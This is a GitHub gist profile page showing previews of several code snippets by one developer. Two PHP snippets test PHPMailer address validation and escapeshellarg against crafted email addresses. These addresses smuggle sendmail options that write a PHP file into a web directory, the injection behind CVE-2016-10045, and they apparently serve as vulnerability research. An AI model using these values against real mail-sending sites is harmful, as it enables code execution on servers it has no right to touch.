Skip to content

Instantly share code, notes, and snippets.

View ichikaway's full-sized avatar

Yasushi Ichikawa (ichikaway) ichikaway

View GitHub Profile
@ichikaway
ichikaway / SampleCmd.php
Created June 21, 2016 05:45
app/Console/Commands/SampleCmd.php
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
class SampleCmd extends Command
{
/**
* The name and signature of the console command.
<?php
require 'PHPMailerAutoload.php';
//$address = '[email protected]';
$address = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
var_dump(PHPMailer::validateAddress($address));
<?php
$address = "aaa bb cc";
echo escapeshellarg($address) . PHP_EOL; // 'aaa bb cc'
echo "----------------\n";
//CVE-2016-10045
$address = "\"attacker\' -oQ/tmp/ -X/tmp/phpmailertest/phpcode.php some\"@email.com";
@ichikaway
ichikaway / lfs.md
Last active January 1, 2018 14:29
Linux From Scratch Ubuntu16 step

package install

sudo apt-get install gawk
sudo apt-get install bison
sudo apt-get install make
sudo apt-get install gcc
sudo apt-get install bzip2
sudo apt-get install g++
sudo apt-get install texinfo

@ichikaway
ichikaway / bash-parser-sample-with-docker.md
Created October 11, 2018 03:10
bash parser sample with docker
@ichikaway
ichikaway / example.pac
Created November 12, 2020 09:19
VAddy-pac-example
function FindProxyForURL(url, host)
{
if(shExpMatch(host,"www.example.com"))
{return "PROXY 54.92.84.100:28888";}
else
return "DIRECT";
}